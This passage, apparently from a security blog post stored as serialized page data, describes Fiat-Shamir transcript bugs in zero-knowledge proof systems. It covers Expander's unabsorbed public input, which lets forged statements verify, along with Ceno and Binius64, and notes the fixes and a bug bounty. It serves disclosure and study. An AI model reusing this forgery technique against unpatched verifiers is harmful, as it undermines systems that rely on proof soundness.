82},[4776,22016],[121184],{"type":26,"value":19702},{"type":21,"tag":85,"props":121186,"children":121188},{"className":121187},[4793],[121189],{"type":21,"tag":85,"props":121190,"children":121192},{"className":121191},[4798,22070],[121193,121222],{"type":21,"tag":85,"props":121194,"children":121196},{"className":121195},[4803],[121197,121217],{"type":21,"tag":85,"props":121198,"children":121200},{"className":121199,"style":93561},[4808],[121201],{"type":21,"tag":85,"props":121202,"children":121203},{"style":93565},[121204,121208],{"type":21,"tag":85,"props":121205,"children":121207},{"className":121206,"style":4818},[4817],[],{"type":21,"tag":85,"props":121209,"children":121211},{"className":121210},[4823,4824,4825,4826],[121212],{"type":21,"tag":85,"props":121213,"children":121215},{"className":121214},[4776,4826],[121216],{"type":26,"value":4789},{"type":21,"tag":85,"props":121218,"children":121220},{"className":121219},[22173],[121221],{"type":26,"value":22176},{"type":21,"tag":85,"props":121223,"children":121225},{"className":121224},[4803],[121226],{"type":21,"tag":85,"props":121227,"children":121229},{"className":121228,"style":93592},[4808],[121230],{"type":21,"tag":85,"props":121231,"children":121232},{},[],{"type":21,"tag":85,"props":121234,"children":121236},{"className":121235,"style":4858},[4857],[],{"type":21,"tag":85,"props":121238,"children":121240},{"className":121239},[4863],[121241],{"type":26,"value":5151},{"type":21,"tag":85,"props":121243,"children":121245},{"className":121244,"style":4858},[4857],[],{"type":21,"tag":85,"props":121247,"children":121249},{"className":121248},[4765],[121250,121254,121311,121368,121372,121377],{"type":21,"tag":85,"props":121251,"children":121253},{"className":121252,"style":121117},[4770],[],{"type":21,"tag":85,"props":121255,"children":121257},{"className":121256},[4776],[121258,121263],{"type":21,"tag":85,"props":121259,"children":121261},{"className":121260},[4776,22016],[121262],{"type":26,"value":335},{"type":21,"tag":85,"props":121264,"children":121266},{"className":121265},[4793],[121267],{"type":21,"tag":85,"props":121268,"children":121270},{"className":121269},[4798,22070],[121271,121300],{"type":21,"tag":85,"props":121272,"children":121274},{"className":121273},[4803],[121275,121295],{"type":21,"tag":85,"props":121276,"children":121278},{"className":121277,"style":93561},[4808],[121279],{"type":21,"tag":85,"props":121280,"children":121281},{"style":93565},[121282,121286],{"type":21,"tag":85,"props":121283,"children":121285},{"className":121284,"style":4818},[4817],[],{"type":21,"tag":85,"props":121287,"children":121289},{"className":121288},[4823,4824,4825,4826],[121290],{"type":21,"tag":85,"props":121291,"children":121293},{"className":121292},[4776,4826],[121294],{"type":26,"value":4779},{"type":21,"tag":85,"props":121296,"children":121298},{"className":121297},[22173],[121299],{"type":26,"value":22176},{"type":21,"tag":85,"props":121301,"children":121303},{"className":121302},[4803],[121304],{"type":21,"tag":85,"props":121305,"children":121307},{"className":121306,"style":93592},[4808],[121308],{"type":21,"tag":85,"props":121309,"children":121310},{},[],{"type":21,"tag":85,"props":121312,"children":121314},{"className":121313},[4776],[121315,121320],{"type":21,"tag":85,"props":121316,"children":121318},{"className":121317},[4776,22016],[121319],{"type":26,"value":19702},{"type":21,"tag":85,"props":121321,"children":121323},{"className":121322},[4793],[121324],{"type":21,"tag":85,"props":121325,"children":121327},{"className":121326},[4798,22070],[121328,121357],{"type":21,"tag":85,"props":121329,"children":121331},{"className":121330},[4803],[121332,121352],{"type":21,"tag":85,"props":121333,"children":121335},{"className":121334,"style":93561},[4808],[121336],{"type":21,"tag":85,"props":121337,"children":121338},{"style":93565},[121339,121343],{"type":21,"tag":85,"props":121340,"children":121342},{"className":121341,"style":4818},[4817],[],{"type":21,"tag":85,"props":121344,"children":121346},{"className":121345},[4823,4824,4825,4826],[121347],{"type":21,"tag":85,"props":121348,"children":121350},{"className":121349},[4776,4826],[121351],{"type":26,"value":4779},{"type":21,"tag":85,"props":121353,"children":121355},{"className":121354},[22173],[121356],{"type":26,"value":22176},{"type":21,"tag":85,"props":121358,"children":121360},{"className":121359},[4803],[121361],{"type":21,"tag":85,"props":121362,"children":121364},{"className":121363,"style":93592},[4808],[121365],{"type":21,"tag":85,"props":121366,"children":121367},{},[],{"type":21,"tag":85,"props":121369,"children":121371},{"className":121370,"style":4858},[4857],[],{"type":21,"tag":85,"props":121373,"children":121375},{"className":121374},[4863],[121376],{"type":26,"value":5151},{"type":21,"tag":85,"props":121378,"children":121380},{"className":121379,"style":4858},[4857],[],{"type":21,"tag":85,"props":121382,"children":121384},{"className":121383},[4765],[121385,121389,121394,121398,121403],{"type":21,"tag":85,"props":121386,"children":121388},{"className":121387,"style":111350},[4770],[],{"type":21,"tag":85,"props":121390,"children":121392},{"className":121391},[4776,22016],[121393],{"type":26,"value":3918},{"type":21,"tag":85,"props":121395,"children":121397},{"className":121396,"style":4955},[4857],[],{"type":21,"tag":85,"props":121399,"children":121401},{"className":121400},[4960],[121402],{"type":26,"value":741},{"type":21,"tag":85,"props":121404,"children":121406},{"className":121405,"style":4955},[4857],[],{"type":21,"tag":85,"props":121408,"children":121410},{"className":121409},[4765],[121411,121415],{"type":21,"tag":85,"props":121412,"children":121414},{"className":121413,"style":94540},[4770],[],{"type":21,"tag":85,"props":121416,"children":121418},{"className":121417},[4776],[121419],{"type":26,"value":4789},{"type":21,"tag":845,"props":121421,"children":121422},{},[121423,121425],{"type":26,"value":121424},"Bilinear (from multiset): ",{"type":21,"tag":66,"props":121426,"children":121428},{"className":121427},[4748,4749],[121429],{"type":21,"tag":85,"props":121430,"children":121432},{"className":121431},[4754],[121433],{"type":21,"tag":85,"props":121434,"children":121436},{"className":121435,"ariaHidden":4760},[4759],[121437,121463,121541,121619,121645],{"type":21,"tag":85,"props":121438,"children":121440},{"className":121439},[4765],[121441,121445,121450,121454,121459],{"type":21,"tag":85,"props":121442,"children":121444},{"className":121443,"style":93424},[4770],[],{"type":21,"tag":85,"props":121446,"children":121448},{"className":121447,"style":94938},[4776,22016],[121449],{"type":26,"value":89146},{"type":21,"tag":85,"props":121451,"children":121453},{"className":121452,"style":4858},[4857],[],{"type":21,"tag":85,"props":121455,"children":121457},{"className":121456},[4863],[121458],{"type":26,"value":111771},{"type":21,"tag":85,"props":121460,"children":121462},{"className":121461,"style":4858},[4857],[],{"type":21,"tag":85,"props":121464,"children":121466},{"className":121465},[4765],[121467,121471,121528,121532,121537],{"type":21,"tag":85,"props":121468,"children":121470},{"className":121469,"style":120563},[4770],[],{"type":21,"tag":85,"props":121472,"children":121474},{"className":121473},[4776],[121475,121480],{"type":21,"tag":85,"props":121476,"children":121478},{"className":121477},[4776,22016],[121479],{"type":26,"value":19702},{"type":21,"tag":85,"props":121481,"children":121483},{"className":121482},[4793],[121484],{"type":21,"tag":85,"props":121485,"children":121487},{"className":121486},[4798,22070],[121488,121517],{"type":21,"tag":85,"props":121489,"children":121491},{"className":121490},[4803],[121492,121512],{"type":21,"tag":85,"props":121493,"children":121495},{"className":121494,"style":93561},[4808],[121496],{"type":21,"tag":85,"props":121497,"children":121498},{"style":93565},[121499,121503],{"type":21,"tag":85,"props":121500,"children":121502},{"className":121501,"style":4818},[4817],[],{"type":21,"tag":85,"props":121504,"children":121506},{"className":121505},[4823,4824,4825,4826],[121507],{"type":21,"tag":85,"props":121508,"children":121510},{"className":121509},[4776,4826],[121511],{"type":26,"value":4789},{"type":21,"tag":85,"props":121513,"children":121515},{"className":121514},[22173],[121516],{"type":26,"value":22176},{"type":21,"tag":85,"props":121518,"children":121520},{"className":121519},[4803],[121521],{"type":21,"tag":85,"props":121522,"children":121524},{"className":121523,"style":93592},[4808],[121525],{"type":21,"tag":85,"props":121526,"children":121527},{},[],{"type":21,"tag":85,"props":121529,"children":121531},{"className":121530,"style":4858},[4857],[],{"type":21,"tag":85,"props":121533,"children":121535},{"className":121534},[4863],[121536],{"type":26,"value":111771},{"type":21,"tag":85,"props":121538,"children":121540},{"className":121539,"style":4858},[4857],[],{"type":21,"tag":85,"props":121542,"children":121544},{"className":121543},[4765],[121545,121549,121606,121610,121615],{"type":21,"tag":85,"props":121546,"children":121548},{"className":121547,"style":121117},[4770],[],{"type":21,"tag":85,"props":121550,"children":121552},{"className":121551},[4776],[121553,121558],{"type":21,"tag":85,"props":121554,"children":121556},{"className":121555},[4776,22016],[121557],{"type":26,"value":19702},{"type":21,"tag":85,"props":121559,"children":121561},{"className":121560},[4793],[121562],{"type":21,"tag":85,"props":121563,"children":121565},{"className":121564},[4798,22070],[121566,121595],{"type":21,"tag":85,"props":121567,"children":121569},{"className":121568},[4803],[121570,121590],{"type":21,"tag":85,"props":121571,"children":121573},{"className":121572,"style":93561},[4808],[121574],{"type":21,"tag":85,"props":121575,"children":121576},{"style":93565},[121577,121581],{"type":21,"tag":85,"props":121578,"children":121580},{"className":121579,"style":4818},[4817],[],{"type":21,"tag":85,"props":121582,"children":121584},{"className":121583},[4823,4824,4825,4826],[121585],{"type":21,"tag":85,"props":121586,"children":121588},{"className":121587},[4776,4826],[121589],{"type":26,"value":4779},{"type":21,"tag":85,"props":121591,"children":121593},{"className":121592},[22173],[121594],{"type":26,"value":22176},{"type":21,"tag":85,"props":121596,"children":121598},{"className":121597},[4803],[121599],{"type":21,"tag":85,"props":121600,"children":121602},{"className":121601,"style":93592},[4808],[121603],{"type":21,"tag":85,"props":121604,"children":121605},{},[],{"type":21,"tag":85,"props":121607,"children":121609},{"className":121608,"style":4858},[4857],[],{"type":21,"tag":85,"props":121611,"children":121613},{"className":121612},[4863],[121614],{"type":26,"value":5151},{"type":21,"tag":85,"props":121616,"children":121618},{"className":121617,"style":4858},[4857],[],{"type":21,"tag":85,"props":121620,"children":121622},{"className":121621},[4765],[121623,121627,121632,121636,121641],{"type":21,"tag":85,"props":121624,"children":121626},{"className":121625,"style":93424},[4770],[],{"type":21,"tag":85,"props":121628,"children":121630},{"className":121629},[4776,22016],[121631],{"type":26,"value":71024},{"type":21,"tag":85,"props":121633,"children":121635},{"className":121634,"style":4955},[4857],[],{"type":21,"tag":85,"props":121637,"children":121639},{"className":121638},[4960],[121640],{"type":26,"value":741},{"type":21,"tag":85,"props":121642,"children":121644},{"className":121643,"style":4955},[4857],[],{"type":21,"tag":85,"props":121646,"children":121648},{"className":121647},[4765],[121649,121653],{"type":21,"tag":85,"props":121650,"children":121652},{"className":121651,"style":94540},[4770],[],{"type":21,"tag":85,"props":121654,"children":121656},{"className":121655},[4776],[121657],{"type":26,"value":4789},{"type":21,"tag":22,"props":121659,"children":121660},{},[121661],{"type":26,"value":121662},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":21,"tag":22,"props":121664,"children":121665},{},[121666,121670,121672,121679,121681,121688],{"type":21,"tag":873,"props":121667,"children":121668},{},[121669],{"type":26,"value":117219},{"type":26,"value":121671}," Fixed on March 5, 2026 via ",{"type":21,"tag":335,"props":121673,"children":121676},{"href":121674,"rel":121675},"https://github.com/scroll-tech/ceno/pull/1262",[339],[121677],{"type":26,"value":121678},"PR #1262",{"type":26,"value":121680}," (original report: ",{"type":21,"tag":335,"props":121682,"children":121685},{"href":121683,"rel":121684},"https://github.com/scroll-tech/ceno/issues/1125",[339],[121686],{"type":26,"value":121687},"#1125",{"type":26,"value":1900},{"type":21,"tag":19218,"props":121690,"children":121691},{},[],{"type":21,"tag":10022,"props":121693,"children":121695},{"id":121694},"expander-polyhedra",[121696],{"type":26,"value":121697},"Expander (Polyhedra)",{"type":21,"tag":22,"props":121699,"children":121700},{},[121701],{"type":26,"value":121702},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":21,"tag":22,"props":121704,"children":121705},{},[121706],{"type":21,"tag":873,"props":121707,"children":121708},{},[121709],{"type":26,"value":115925},{"type":21,"tag":75,"props":121711,"children":121713},{"code":121712},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[121714],{"type":21,"tag":66,"props":121715,"children":121716},{"__ignoreMap":7},[121717],{"type":26,"value":121712},{"type":21,"tag":22,"props":121719,"children":121720},{},[121721,121723,121729],{"type":26,"value":121722},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":21,"tag":66,"props":121724,"children":121726},{"className":121725},[],[121727],{"type":26,"value":121728},"eval_cst",{"type":26,"value":121730}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":21,"tag":75,"props":121732,"children":121734},{"code":121733,"language":79,"meta":7,"className":77,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[121735],{"type":21,"tag":66,"props":121736,"children":121737},{"__ignoreMap":7},[121738],{"type":21,"tag":85,"props":121739,"children":121740},{"class":87,"line":88},[121741,121745,121750,121755,121759,121763,121767,121771,121776,121780,121785,121790,121794,121799],{"type":21,"tag":85,"props":121742,"children":121743},{"style":120},[121744],{"type":26,"value":77094},{"type":21,"tag":85,"props":121746,"children":121747},{"style":169},[121748],{"type":26,"value":121749}," -=",{"type":21,"tag":85,"props":121751,"children":121752},{"style":108},[121753],{"type":26,"value":121754}," GKRVerifierHelper",{"type":21,"tag":85,"props":121756,"children":121757},{"style":169},[121758],{"type":26,"value":1087},{"type":21,"tag":85,"props":121760,"children":121761},{"style":1021},[121762],{"type":26,"value":121728},{"type":21,"tag":85,"props":121764,"children":121765},{"style":114},[121766],{"type":26,"value":1439},{"type":21,"tag":85,"props":121768,"children":121769},{"style":169},[121770],{"type":26,"value":2238},{"type":21,"tag":85,"props":121772,"children":121773},{"style":120},[121774],{"type":26,"value":121775},"layer",{"type":21,"tag":85,"props":121777,"children":121778},{"style":169},[121779],{"type":26,"value":73},{"type":21,"tag":85,"props":121781,"children":121782},{"style":114},[121783],{"type":26,"value":121784},"const_, ",{"type":21,"tag":85,"props":121786,"children":121787},{"style":120},[121788],{"type":26,"value":121789},"public_input",{"type":21,"tag":85,"props":121791,"children":121792},{"style":114},[121793],{"type":26,"value":256},{"type":21,"tag":85,"props":121795,"children":121796},{"style":120},[121797],{"type":26,"value":121798},"sp",{"type":21,"tag":85,"props":121800,"children":121801},{"style":114},[121802],{"type":26,"value":777},{"type":21,"tag":22,"props":121804,"children":121805},{},[121806,121808,121813],{"type":26,"value":121807},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":21,"tag":66,"props":121809,"children":121811},{"className":121810},[],[121812],{"type":26,"value":121798},{"type":26,"value":21170},{"type":21,"tag":22,"props":121815,"children":121816},{},[121817],{"type":21,"tag":873,"props":121818,"children":121819},{},[121820],{"type":26,"value":121821},"The vulnerability:",{"type":21,"tag":22,"props":121823,"children":121824},{},[121825,121830],{"type":21,"tag":66,"props":121826,"children":121828},{"className":121827},[],[121829],{"type":26,"value":121789},{"type":26,"value":121831}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":21,"tag":22,"props":121833,"children":121834},{},[121835],{"type":21,"tag":4681,"props":121836,"children":121839},{"alt":121837,"src":121838},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":21,"tag":22,"props":121841,"children":121842},{},[121843,121844,121849],{"type":26,"value":17034},{"type":21,"tag":66,"props":121845,"children":121847},{"className":121846},[],[121848],{"type":26,"value":121728},{"type":26,"value":121850}," function computes a linear combination:",{"type":21,"tag":22,"props":121852,"children":121853},{},[121854],{"type":21,"tag":66,"props":121855,"children":121857},{"className":121856},[4748,4749],[121858],{"type":21,"tag":85,"props":121859,"children":121861},{"className":121860},[4754],[121862],{"type":21,"tag":85,"props":121863,"children":121865},{"className":121864,"ariaHidden":4760},[4759],[121866,121911,122035],{"type":21,"tag":85,"props":121867,"children":121869},{"className":121868},[4765],[121870,121874,121883,121888,121898,121902,121907],{"type":21,"tag":85,"props":121871,"children":121873},{"className":121872,"style":94922},[4770],[],{"type":21,"tag":85,"props":121875,"children":121877},{"className":121876},[4776,26],[121878],{"type":21,"tag":85,"props":121879,"children":121881},{"className":121880},[4776],[121882],{"type":26,"value":37996},{"type":21,"tag":85,"props":121884,"children":121886},{"className":121885,"style":93509},[4776],[121887],{"type":26,"value":3856},{"type":21,"tag":85,"props":121889,"children":121891},{"className":121890},[4776,26],[121892],{"type":21,"tag":85,"props":121893,"children":121895},{"className":121894},[4776],[121896],{"type":26,"value":121897},"cst",{"type":21,"tag":85,"props":121899,"children":121901},{"className":121900,"style":4955},[4857],[],{"type":21,"tag":85,"props":121903,"children":121905},{"className":121904},[4960],[121906],{"type":26,"value":741},{"type":21,"tag":85,"props":121908,"children":121910},{"className":121909,"style":4955},[4857],[],{"type":21,"tag":85,"props":121912,"children":121914},{"className":121913},[4765],[121915,121919,121976,121980,122007,122012,122017,122022,122026,122031],{"type":21,"tag":85,"props":121916,"children":121918},{"className":121917,"style":93451},[4770],[],{"type":21,"tag":85,"props":121920,"children":121922},{"className":121921},[22052],[121923,121928],{"type":21,"tag":85,"props":121924,"children":121926},{"className":121925,"style":22059},[22052,22057,22058],[121927],{"type":26,"value":109304},{"type":21,"tag":85,"props":121929,"children":121931},{"className":121930},[4793],[121932],{"type":21,"tag":85,"props":121933,"children":121935},{"className":121934},[4798,22070],[121936,121965],{"type":21,"tag":85,"props":121937,"children":121939},{"className":121938},[4803],[121940,121960],{"type":21,"tag":85,"props":121941,"children":121943},{"className":121942,"style":114716},[4808],[121944],{"type":21,"tag":85,"props":121945,"children":121946},{"style":22083},[121947,121951],{"type":21,"tag":85,"props":121948,"children":121950},{"className":121949,"style":4818},[4817],[],{"type":21,"tag":85,"props":121952,"children":121954},{"className":121953},[4823,4824,4825,4826],[121955],{"type":21,"tag":85,"props":121956,"children":121958},{"className":121957},[4776,22016,4826],[121959],{"type":26,"value":3003},{"type":21,"tag":85,"props":121961,"children":121963},{"className":121962},[22173],[121964],{"type":26,"value":22176},{"type":21,"tag":85,"props":121966,"children":121968},{"className":121967},[4803],[121969],{"type":21,"tag":85,"props":121970,"children":121972},{"className":121971,"style":114996},[4808],[121973],{"type":21,"tag":85,"props":121974,"children":121975},{},[],{"type":21,"tag":85,"props":121977,"children":121979},{"className":121978,"style":4896},[4857],[],{"type":21,"tag":85,"props":121981,"children":121983},{"className":121982},[4776],[121984,121993,121998],{"type":21,"tag":85,"props":121985,"children":121987},{"className":121986},[4776,26],[121988],{"type":21,"tag":85,"props":121989,"children":121991},{"className":121990},[4776],[121992],{"type":26,"value":62133},{"type":21,"tag":85,"props":121994,"children":121996},{"className":121995,"style":93509},[4776],[121997],{"type":26,"value":3856},{"type":21,"tag":85,"props":121999,"children":122001},{"className":122000},[4776,26],[122002],{"type":21,"tag":85,"props":122003,"children":122005},{"className":122004},[4776],[122006],{"type":26,"value":2724},{"type":21,"tag":85,"props":122008,"children":122010},{"className":122009},[22145],[122011],{"type":26,"value":3016},{"type":21,"tag":85,"props":122013,"children":122015},{"className":122014},[4776,22016],[122016],{"type":26,"value":3003},{"type":21,"tag":85,"props":122018,"children":122020},{"className":122019},[22167],[122021],{"type":26,"value":15830},{"type":21,"tag":85,"props":122023,"children":122025},{"className":122024,"style":4858},[4857],[],{"type":21,"tag":85,"props":122027,"children":122029},{"className":122028},[4863],[122030],{"type":26,"value":111771},{"type":21,"tag":85,"props":122032,"children":122034},{"className":122033,"style":4858},[4857],[],{"type":21,"tag":85,"props":122036,"children":122038},{"className":122037},[4765],[122039,122043,122052,122057,122062,122067,122071,122120],{"type":21,"tag":85,"props":122040,"children":122042},{"className":122041,"style":4878},[4770],[],{"type":21,"tag":85,"props":122044,"children":122046},{"className":122045},[4776,26],[122047],{"type":21,"tag":85,"props":122048,"children":122050},{"className":122049},[4776],[122051],{"type":26,"value":113098},{"type":21,"tag":85,"props":122053,"children":122055},{"className":122054},[22145],[122056],{"type":26,"value":1439},{"type":21,"tag":85,"props":122058,"children":122060},{"className":122059},[4776,22016],[122061],{"type":26,"value":3003},{"type":21,"tag":85,"props":122063,"children":122065},{"className":122064},[4889],[122066],{"type":26,"value":4892},{"type":21,"tag":85,"props":122068,"children":122070},{"className":122069,"style":4896},[4857],[],{"type":21,"tag":85,"props":122072,"children":122074},{"className":122073},[4776,112658],[122075],{"type":21,"tag":85,"props":122076,"children":122078},{"className":122077},[4798],[122079],{"type":21,"tag":85,"props":122080,"children":122082},{"className":122081},[4803],[122083],{"type":21,"tag":85,"props":122084,"children":122086},{"className":122085,"style":112744},[4808],[122087,122099],{"type":21,"tag":85,"props":122088,"children":122089},{"style":112675},[122090,122094],{"type":21,"tag":85,"props":122091,"children":122093},{"className":122092,"style":112680},[4817],[],{"type":21,"tag":85,"props":122095,"children":122097},{"className":122096,"style":93509},[4776,22016],[122098],{"type":26,"value":94328},{"type":21,"tag":85,"props":122100,"children":122101},{"style":112675},[122102,122106],{"type":21,"tag":85,"props":122103,"children":122105},{"className":122104,"style":112680},[4817],[],{"type":21,"tag":85,"props":122107,"children":122109},{"className":122108,"style":112768},[112698],[122110],{"type":21,"tag":85,"props":122111,"children":122113},{"className":122112,"style":112774},[112773],[122114],{"type":21,"tag":34720,"props":122115,"children":122116},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[122117],{"type":21,"tag":112786,"props":122118,"children":122119},{"d":112788},[],{"type":21,"tag":85,"props":122121,"children":122123},{"className":122122},[22167],[122124],{"type":26,"value":1900},{"type":21,"tag":22,"props":122126,"children":122127},{},[122128,122129,122198,122200,122205,122207,122212],{"type":26,"value":116345},{"type":21,"tag":66,"props":122130,"children":122132},{"className":122131},[4748,4749],[122133],{"type":21,"tag":85,"props":122134,"children":122136},{"className":122135},[4754],[122137],{"type":21,"tag":85,"props":122138,"children":122140},{"className":122139,"ariaHidden":4760},[4759],[122141],{"type":21,"tag":85,"props":122142,"children":122144},{"className":122143},[4765],[122145,122149],{"type":21,"tag":85,"props":122146,"children":122148},{"className":122147,"style":112744},[4770],[],{"type":21,"tag":85,"props":122150,"children":122152},{"className":122151},[4776,112658],[122153],{"type":21,"tag":85,"props":122154,"children":122156},{"className":122155},[4798],[122157],{"type":21,"tag":85,"props":122158,"children":122160},{"className":122159},[4803],[122161],{"type":21,"tag":85,"props":122162,"children":122164},{"className":122163,"style":112744},[4808],[122165,122177],{"type":21,"tag":85,"props":122166,"children":122167},{"style":112675},[122168,122172],{"type":21,"tag":85,"props":122169,"children":122171},{"className":122170,"style":112680},[4817],[],{"type":21,"tag":85,"props":122173,"children":122175},{"className":122174,"style":93509},[4776,22016],[122176],{"type":26,"value":94328},{"type":21,"tag":85,"props":122178,"children":122179},{"style":112675},[122180,122184],{"type":21,"tag":85,"props":122181,"children":122183},{"className":122182,"style":112680},[4817],[],{"type":21,"tag":85,"props":122185,"children":122187},{"className":122186,"style":112768},[112698],[122188],{"type":21,"tag":85,"props":122189,"children":122191},{"className":122190,"style":112774},[112773],[122192],{"type":21,"tag":34720,"props":122193,"children":122194},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[122195],{"type":21,"tag":112786,"props":122196,"children":122197},{"d":112788},[],{"type":26,"value":122199}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":21,"tag":66,"props":122201,"children":122203},{"className":122202},[],[122204],{"type":26,"value":121789},{"type":26,"value":122206},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":21,"tag":66,"props":122208,"children":122210},{"className":122209},[],[122211],{"type":26,"value":121789},{"type":26,"value":122213}," that makes the verifier's check pass.",{"type":21,"tag":22,"props":122215,"children":122216},{},[122217,122221,122223,122230,122231,122234,122241],{"type":21,"tag":873,"props":122218,"children":122219},{},[122220],{"type":26,"value":117219},{"type":26,"value":122222}," Fixed on 21st January 2026 via ",{"type":21,"tag":335,"props":122224,"children":122227},{"href":122225,"rel":122226},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[339],[122228],{"type":26,"value":122229},"commit 4a8c2be",{"type":26,"value":790},{"type":21,"tag":31413,"props":122232,"children":122233},{},[],{"type":21,"tag":335,"props":122235,"children":122238},{"href":122236,"rel":122237},"https://blog.polyhedra.network/expander-bug-bounty/",[339],[122239],{"type":26,"value":122240},"Claimed 500k Bug bounty",{"type":26,"value":122242}," award pending",{"type":21,"tag":19218,"props":122244,"children":122245},{},[],{"type":21,"tag":10022,"props":122247,"children":122249},{"id":122248},"binius64",[122250],{"type":26,"value":108352},{"type":21,"tag":22,"props":122252,"children":122253},{},[122254,122256,122383],{"type":26,"value":122255},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":21,"tag":66,"props":122257,"children":122259},{"className":122258},[4748,4749],[122260],{"type":21,"tag":85,"props":122261,"children":122263},{"className":122262},[4754],[122264],{"type":21,"tag":85,"props":122265,"children":122267},{"className":122266,"ariaHidden":4760},[4759],[122268],{"type":21,"tag":85,"props":122269,"children":122271},{"className":122270},[4765],[122272,122277],{"type":21,"tag":85,"props":122273,"children":122276},{"className":122274,"style":122275},[4770],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":21,"tag":85,"props":122278,"children":122280},{"className":122279},[4776],[122281,122288],{"type":21,"tag":85,"props":122282,"children":122285},{"className":122283},[4776,122284],"mathbb",[122286],{"type":26,"value":122287},"F",{"type":21,"tag":85,"props":122289,"children":122291},{"className":122290},[4793],[122292],{"type":21,"tag":85,"props":122293,"children":122295},{"className":122294},[4798,22070],[122296,122371],{"type":21,"tag":85,"props":122297,"children":122299},{"className":122298},[4803],[122300,122366],{"type":21,"tag":85,"props":122301,"children":122303},{"className":122302,"style":112841},[4808],[122304],{"type":21,"tag":85,"props":122305,"children":122307},{"style":122306},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[122308,122312],{"type":21,"tag":85,"props":122309,"children":122311},{"className":122310,"style":4818},[4817],[],{"type":21,"tag":85,"props":122313,"children":122315},{"className":122314},[4823,4824,4825,4826],[122316],{"type":21,"tag":85,"props":122317,"children":122319},{"className":122318},[4776,4826],[122320],{"type":21,"tag":85,"props":122321,"children":122323},{"className":122322},[4776,4826],[122324,122329],{"type":21,"tag":85,"props":122325,"children":122327},{"className":122326},[4776,4826],[122328],{"type":26,"value":3895},{"type":21,"tag":85,"props":122330,"children":122332},{"className":122331},[4793],[122333],{"type":21,"tag":85,"props":122334,"children":122336},{"className":122335},[4798],[122337],{"type":21,"tag":85,"props":122338,"children":122340},{"className":122339},[4803],[122341],{"type":21,"tag":85,"props":122342,"children":122345},{"className":122343,"style":122344},[4808],"height:0.7463em;",[122346],{"type":21,"tag":85,"props":122347,"children":122348},{"style":112966},[122349,122353],{"type":21,"tag":85,"props":122350,"children":122352},{"className":122351,"style":109369},[4817],[],{"type":21,"tag":85,"props":122354,"children":122356},{"className":122355},[4823,109374,109375,4826],[122357],{"type":21,"tag":85,"props":122358,"children":122360},{"className":122359},[4776,4826],[122361],{"type":21,"tag":85,"props":122362,"children":122364},{"className":122363},[4776,4826],[122365],{"type":26,"value":30291},{"type":21,"tag":85,"props":122367,"children":122369},{"className":122368},[22173],[122370],{"type":26,"value":22176},{"type":21,"tag":85,"props":122372,"children":122374},{"className":122373},[4803],[122375],{"type":21,"tag":85,"props":122376,"children":122379},{"className":122377,"style":122378},[4808],"height:0.1776em;",[122380],{"type":21,"tag":85,"props":122381,"children":122382},{},[],{"type":26,"value":122384}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":21,"tag":22,"props":122386,"children":122387},{},[122388,122390,122395],{"type":26,"value":122389},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":21,"tag":873,"props":122391,"children":122392},{},[122393],{"type":26,"value":122394},"Shift Protocol",{"type":26,"value":122396}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":21,"tag":22,"props":122398,"children":122399},{},[122400],{"type":21,"tag":873,"props":122401,"children":122402},{},[122403],{"type":26,"value":121821},{"type":21,"tag":22,"props":122405,"children":122406},{},[122407],{"type":26,"value":122408},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":21,"tag":75,"props":122410,"children":122412},{"code":122411,"language":79,"meta":7,"className":77,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[122413],{"type":21,"tag":66,"props":122414,"children":122415},{"__ignoreMap":7},[122416,122451,122476,122510,122518],{"type":21,"tag":85,"props":122417,"children":122418},{"class":87,"line":88},[122419,122423,122427,122431,122435,122439,122443,122447],{"type":21,"tag":85,"props":122420,"children":122421},{"style":102},[122422],{"type":26,"value":14108},{"type":21,"tag":85,"props":122424,"children":122425},{"style":102},[122426],{"type":26,"value":14113},{"type":21,"tag":85,"props":122428,"children":122429},{"style":1021},[122430],{"type":26,"value":2521},{"type":21,"tag":85,"props":122432,"children":122433},{"style":114},[122434],{"type":26,"value":117},{"type":21,"tag":85,"props":122436,"children":122437},{"style":108},[122438],{"type":26,"value":122287},{"type":21,"tag":85,"props":122440,"children":122441},{"style":114},[122442],{"type":26,"value":256},{"type":21,"tag":85,"props":122444,"children":122445},{"style":108},[122446],{"type":26,"value":116738},{"type":21,"tag":85,"props":122448,"children":122449},{"style":114},[122450],{"type":26,"value":924},{"type":21,"tag":85,"props":122452,"children":122453},{"class":87,"line":98},[122454,122459,122463,122467,122472],{"type":21,"tag":85,"props":122455,"children":122456},{"style":120},[122457],{"type":26,"value":122458},"    